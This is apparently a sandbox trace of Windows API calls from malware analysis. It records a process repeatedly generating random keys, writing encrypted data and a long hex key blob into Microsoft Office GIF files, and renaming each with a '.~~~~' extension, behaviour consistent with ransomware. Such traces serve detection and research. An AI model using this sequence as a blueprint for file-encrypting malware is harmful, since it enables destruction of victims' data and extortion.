	[0127.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb555f730, dwHighDateTime=0x1d60e1e)) 
	[0127.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a68f0
	[0127.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a68f0 | out: hHeap=0x300000) returned 1
	[0127.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aab98
	[0127.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0127.318] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.319] GetLastError () returned 0x0
	[0127.319] GetLastError () returned 0x0
	[0127.319] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.319] GetLastError () returned 0x0
	[0127.319] GetLastError () returned 0x0
	[0127.320] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.321] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xc8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xc8, lpOverlapped=0x0) returned 1
	[0127.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.322] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.322] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.322] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.322] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.322] CloseHandle (hObject=0x138) returned 1
	[0127.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0127.323] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif.~~~~")) returned 1
	[0127.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0127.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.325] GetLastError () returned 0x0
	[0127.326] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29fd140) returned 1
	[0127.327] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.327] CryptReleaseContext (hProv=0x29fd140, dwFlags=0x0) returned 1
	[0127.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.327] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24731702860) returned 1
	[0127.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5585890, dwHighDateTime=0x1d60e1e)) 
	[0127.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6928
	[0127.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6928 | out: hHeap=0x300000) returned 1
	[0127.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa7a8
	[0127.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa7a8 | out: hHeap=0x300000) returned 1
	[0127.328] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.328] GetLastError () returned 0x0
	[0127.328] GetLastError () returned 0x0
	[0127.328] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.328] GetLastError () returned 0x0
	[0127.328] GetLastError () returned 0x0
	[0127.330] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffef5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.330] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x10b, lpOverlapped=0x0) returned 1
	[0127.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.331] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.331] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.331] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.331] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.331] CloseHandle (hObject=0x138) returned 1
	[0127.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa7a8
	[0127.332] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif.~~~~")) returned 1
	[0127.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa7a8 | out: hHeap=0x300000) returned 1
	[0127.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.333] GetLastError () returned 0x0
	[0127.333] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29fd140) returned 1
	[0127.334] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.334] CryptReleaseContext (hProv=0x29fd140, dwFlags=0x0) returned 1
	[0127.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.335] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24732481525) returned 1
	[0127.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5585890, dwHighDateTime=0x1d60e1e)) 
	[0127.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6dc0
	[0127.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6dc0 | out: hHeap=0x300000) returned 1
	[0127.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa9a0
	[0127.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa9a0 | out: hHeap=0x300000) returned 1
	[0127.336] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.336] GetLastError () returned 0x0
	[0127.336] GetLastError () returned 0x0
	[0127.336] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.336] GetLastError () returned 0x0
	[0127.336] GetLastError () returned 0x0
	[0127.337] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.338] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xb9, lpOverlapped=0x0) returned 1
	[0127.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.339] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.339] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.340] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.340] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.340] CloseHandle (hObject=0x138) returned 1
	[0127.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa9a0
	[0127.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif.~~~~")) returned 1
	[0127.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa9a0 | out: hHeap=0x300000) returned 1
	[0127.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.347] GetLastError () returned 0x0
	[0127.347] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.348] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.349] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.349] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24733891578) returned 1
	[0127.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb55ab9f0, dwHighDateTime=0x1d60e1e)) 
	[0127.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6960
	[0127.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6960 | out: hHeap=0x300000) returned 1
	[0127.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3ae250
	[0127.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa8f8
	[0127.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae250 | out: hHeap=0x300000) returned 1
	[0127.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa8f8 | out: hHeap=0x300000) returned 1
	[0127.350] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.350] GetLastError () returned 0x0
	[0127.350] GetLastError () returned 0x0
	[0127.350] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.350] GetLastError () returned 0x0
	[0127.350] GetLastError () returned 0x0
	[0127.351] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.351] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xce, lpOverlapped=0x0) returned 1
	[0127.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.353] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.354] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.354] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.354] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.354] CloseHandle (hObject=0x138) returned 1
	[0127.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa8f8
	[0127.354] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif.~~~~")) returned 1
	[0127.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa8f8 | out: hHeap=0x300000) returned 1
	[0127.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.356] GetLastError () returned 0x0
	[0127.356] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.357] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.357] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.357] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24734748209) returned 1
	[0127.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb55d1b50, dwHighDateTime=0x1d60e1e)) 
	[0127.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a69d0
	[0127.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a69d0 | out: hHeap=0x300000) returned 1
	[0127.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3ae250
	[0127.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aaa48
	[0127.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae250 | out: hHeap=0x300000) returned 1
	[0127.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaa48 | out: hHeap=0x300000) returned 1
	[0127.358] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.358] GetLastError () returned 0x0
	[0127.358] GetLastError () returned 0x0
	[0127.359] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.359] GetLastError () returned 0x0
	[0127.359] GetLastError () returned 0x0
	[0127.360] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.360] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xb9, lpOverlapped=0x0) returned 1
	[0127.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.362] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.362] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.363] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.363] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.363] CloseHandle (hObject=0x138) returned 1
	[0127.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaa48
	[0127.363] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif.~~~~")) returned 1
	[0127.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaa48 | out: hHeap=0x300000) returned 1
	[0127.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.494] GetLastError () returned 0x0
	[0127.494] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
